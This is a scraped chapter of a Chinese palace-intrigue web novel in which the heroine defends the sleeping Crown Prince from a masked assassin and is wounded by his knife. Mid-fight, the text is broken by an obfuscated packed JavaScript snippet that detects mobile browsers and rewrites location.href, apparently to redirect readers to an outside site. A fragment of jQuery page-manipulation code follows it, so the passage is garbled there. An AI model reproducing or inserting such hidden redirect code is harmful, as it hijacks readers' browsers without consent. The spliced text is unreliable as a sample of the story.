49. 第 49 章

作品:《堂堂权臣怎么还搞暗恋

    立春。


    民以食为天,农耕更是社稷之重,在立春这天,京师的大小官员都需要跟着皇上去东郊先农坛祭祀神农、亲耕籍田,以祈新的一年大梁风调雨顺、五谷丰登。


    一大早,天还漆黑,皇上就领着浩浩荡荡的队伍向先农坛出发了。


    这种大型的祭祀活动跟女眷们没什么关系,林画月一觉醒来照旧去慈宁宫陪伴太后,她暂住的清宁宫离慈宁宫不远,穿过西一长街,再进入养性门就到了。


    皇上不在宫中,林画月走在甬道中感觉今日宫中格外安静空旷,连太监宫女都没见到几个,前后触目所及处只有她一人,她越走越轻快,甚至小声哼起歌来。


    直到快经过隆福门时,林画月的歌声戛然而止。


    四名羽林卫垂首侍立在隆福门处,尚宣正站在他们面前训话。


    林画月眉头一皱,好心情荡然无存。


    如今尚宣还代管着羽林卫,皇上出宫带走了一半禁军,剩下一半由尚宣亲自领队留守宫中。


    尚宣听见脚步声,头一转,就见林画月面带不善站在十步开外。


    “郡主,”尚宣一副之前什么都没发生的样子,十分恭敬地欠身道,“郡主又要去慈宁宫了吗?”


    厚颜无耻程度让林画月咂舌,林画月白眼一翻:“你管得着吗?”


    说完,林画月一个眼神都欠奉,大步从尚宣面前走过。


    —


    慈宁宫。


    虽是立春时节,但春寒料峭之感未褪,风吹来还是让人发冷。


    太后卧床大半个月,实在憋闷了,如今好不容易身子骨稍微健朗了些,就算顶着寒风也非要林画月扶着她去御花园走走。


    御花园中迎春花已经绽放,黄的红的簇在一起开了一大片,鲜艳又生机勃勃,让人看了就心情愉悦,而且迎春这名字也讨喜,太后散步在被迎春花簇拥的石子路上,脸上的倦气消散得无影无踪。


    “人啊还是不能老在屋里闷着,要多出来透透风,病气才散得出去。”


    林画月乐呵呵应和:“皇奶奶说得是。”


    “逸儿呢?哀家好久没见他了,小孩子总板正着做什么?”太后对身后的宫女说道,“今日春光大好,让太子也出来散散步吧。”


    太子前段时间不慎染上风寒,发了几天烧,最近刚有所好转,皇上特许他今年的立春祭祀不必参加,在宫中好好修养。


    “是,奴婢这就去请太子。”


    “等等。”林画月叫住宫女,转头对太后说,“逸儿病刚好,还犯着懒呢,难请得很,还是我去吧。”


    太后眉开眼笑:“好,好,今天有皎皎和逸儿陪着,哀家也算享受到天伦之乐了。”


    林画月出了御花园直奔东宫。


    一进东宫,还未见到人,林画月就听见阵阵欢声笑语,她转过一个极短的通道,看见东宫的宫女太监们都围在院中,逗弄着一只不知从哪里跑来的猫,这猫通体雪白,一看就是娇养的,白白胖胖,十分娇憨可爱,而且活泼亲人,一直追着他们手中的竹竿玩耍。


    林画月看向内殿,只见内殿门窗紧闭,殿前空荡一个人也没有,想必太子已经睡下了。


    太子向来睡觉沉,这些宫女太监们定是趁着这段时间偷个懒,横竖只要不影响太子,林画月懒得去逮他们,不过是趁主子睡觉逗逗猫而已,无伤大雅。


    林画月没有惊动他们,独自一人朝内殿走去。她走到内殿殿门,正准备推门,突然,她的手顿住了。


    一缕淡淡的幽香透过殿门缝隙钻进林画月鼻腔。


    太子不喜香,所以内殿从来不会点香,怎么会有香味飘出来?


    林画月警觉地屏住呼吸,并且打开了感知,她耳边充斥着前院宫女们的欢笑声和猫叫声,很热闹,然而就在这股热闹嘈杂中,林画月捕捉到一声极其轻微又短暂的金属摩擦声。


    这个声音她太熟悉了。


    这是刀出鞘的声音!


    不好!


    林画月直接撞开殿门冲进去。


    殿内静悄悄的,一点动静也没有。


    殿门在林画月身后无声关闭,空间再次密闭起来,那股幽香变得浓重,林画月只闻了两下便感觉自己喉咙像被瞬间抽干了水分,干涩无比,完全发不出一点声音。


    这香有问题!林画月刚想开窗通风,只见太子寝宫的纱幔后有个人影在快速移动。


    这下林画月顾不上开窗了,她急速像纱幔掠去。


    纱幔后,一个黑衣人正站在太子榻前,正握着短刀向熟睡中的太子刺去。


    刀尖已至太子胸口不过一拳距离,林画月悚然,然而她已来不及赶到榻前,情急之中她迅速脱下自己一只鞋,向黑衣人砸去。


    林画月的鞋精准砸中黑衣人手腕,砸得他手带刀往旁边偏离了好几寸,刀尖擦过太子肩膀刺入榻面。


    绸鞋虽软,但林画月将鞋抛出时在里面灌入了内力,被鞋砸到手腕不说脱臼,至少也会脱力,可黑衣人的手依然紧紧握住刀柄,只是偏了偏,可见此人武功不同凡响。


    黑衣人朝林画月的方向偏过头,身形明显顿了顿,似是没有料到她会出现。


    看见黑衣人正脸的刹那,林画月也有一丝诧异:这位黑衣人蒙了面。


    杀人行刺蒙面很正常,可整张脸都蒙起来就不正常了,眼前这位黑衣人整个脑袋都被黑布包裹,连眼睛都是遮住的。


    这人不需要目视?


    不同寻常之人往往都有其高强之处,林画月不敢掉以轻心。


    林画月入宫不得带任何武器,而且她此刻一身宫裙束手束脚,难说能不能制服拿刀的黑衣人,她想叫人来,可干涩的喉咙发不出一点声音。


    既然没有其他办法,林画月不再犹豫,她果断跃起一个飞踢扫去,黑衣人为了躲避只得离开太子榻前,并在林画月收势的瞬间握住她的脚腕,将她向自己拉近,同时短刀狠狠朝林画月刺去。


    林画月下腰躲过刀尖,同时未被控制的另一条腿上钩向黑衣人下颚踢去。


    黑衣人连忙偏头躲避,林画月横空飞旋几圈从黑衣人手中挣脱出来,随即一脚结结实实踢在黑衣人胸口,将他从榻边踢开更远。


    林画月死守在榻前,电光火石间与黑衣人接连过了好几招,黑衣人武功高强,仅凭耳朵就能精准听声辨位,他明显是奔着速战速决来的,招式相当凌厉狠辣,只是不知为何,他似乎在尽力避免伤到林画月,每次刀尖快刺中她时突然主动撤回,像在顾忌什么,如此几来几回,两个人都没占到上风,局面异常焦灼。


    太子睡得极沉,两人打斗中几番撞在榻上,床榻吱呀摇晃,太子却始终一动不动。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478505|180581||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    很快林画月就知道原因了,她渐渐感觉眼皮越来越沉重,反应也越来越慢。


    是香!这支香不仅让人无法出声,并且有催眠功效。


    不能再这样打下去了!必须要想想别的办法!这样下去不仅救不了太子,她也要完蛋。


    林画月很快将目光锁定在寝殿角落一个一人高的千里江山瓷樽上。


    困意上涌,林画月意识越来越模糊,可黑衣人抓住她每一个防备空隙向太子出击,林画月根本不敢离开榻前。


    林画月右手格挡,左手脱下另一只鞋,如法炮制向角落的瓷樽掷去。


    这个动作让她左肩往右侧偏移了一拳距离,正是这一拳距离将她身后太子半个头部暴露在黑衣人攻击范围中。


    林画月抛掷的动作都还未来得及做完,黑衣人已经抓住这一瞬空隙,短刀擦着林画月左肩飞射出去!


    短刀脱手的瞬间,黑衣人丝毫不恋战,甚至连结果也不确认,果断撤出寝殿。


    他对这一刀有必胜的把握。


    林画月惊怒交加,可是已经无事于补,这么短的距离,这么快的速度,世上任何招式都无可能将刀拦下,她只来得及快速转身,将太子紧紧压在怀中。


    刀尖刺入肩胛的锐痛伴随瓷樽倒地碎裂的巨响一起炸开。


    林画月眼冒金星。


    前院的宫女太监终于被巨响惊动,呼啦啦一起冲进寝殿。


    “殿下!”


    殿门大开,新鲜空气的涌入终于让林画月有点清醒了,她将太子交给宫女,哑声道:“有刺客。”


    在场所有人听完面色瞬间惨白,还是一个太监最先反应过来,立刻跑到门边扯开嗓门大喊:“来人啊!有刺客!来人啊!”


    林画月按住伤口来到一扇窗户前,黑衣人就是从这扇窗户逃走了,可此刻从这里望出去,除了层层叠叠的殿宇金顶,看不见任何人影。


    厚重纷杂的脚步声响起。


    “哪里有刺客!”尚宣亲自带羽林卫冲到东宫,“太子殿下还好吗?”


    “太子没事,”林画月说,手指指向窗外,“刺客是名穿黑衣的男人,刚刚从这扇窗跑了。”


    尚宣向窗外看了一眼:“这是往极英殿的方向,一路都有羽林卫巡逻,他跑不远。”


    他即刻对殿外羽林卫下令:“传我命令!仔细搜寻宫东侧极英殿一带,务必将刺客抓出来!”


    “是!”


    “留两队羽林卫严守东宫。”


    “是!”


    安排妥当后,尚宣转身也要往极英殿的方向去。


    “尚指挥使,”林画月叫住他,“东宫一喊你就带人来了,真是太及时了。对了,你刚刚在做什么?”


    尚宣不动声色:“臣刚刚就在东宫不远处的值房中。”


    他迎着林画月审视的目光,不闪不避,神色坦然。


    良久,林画月点头:“嗯,去吧。”


    尚宣走后,一个宫女赶紧过来扶林画月到旁边的椅子坐下。


    “太医马上就到,郡主再忍忍。”


    林画月看向伤口,鲜血已在外衣上晕染开好大一片,甚至从她指缝中溢出,她唇色乌黑,伤口带着半边身体开始颤抖起来。


    冷。


    好冷。


    林画月眼前一黑,猛地栽倒在地。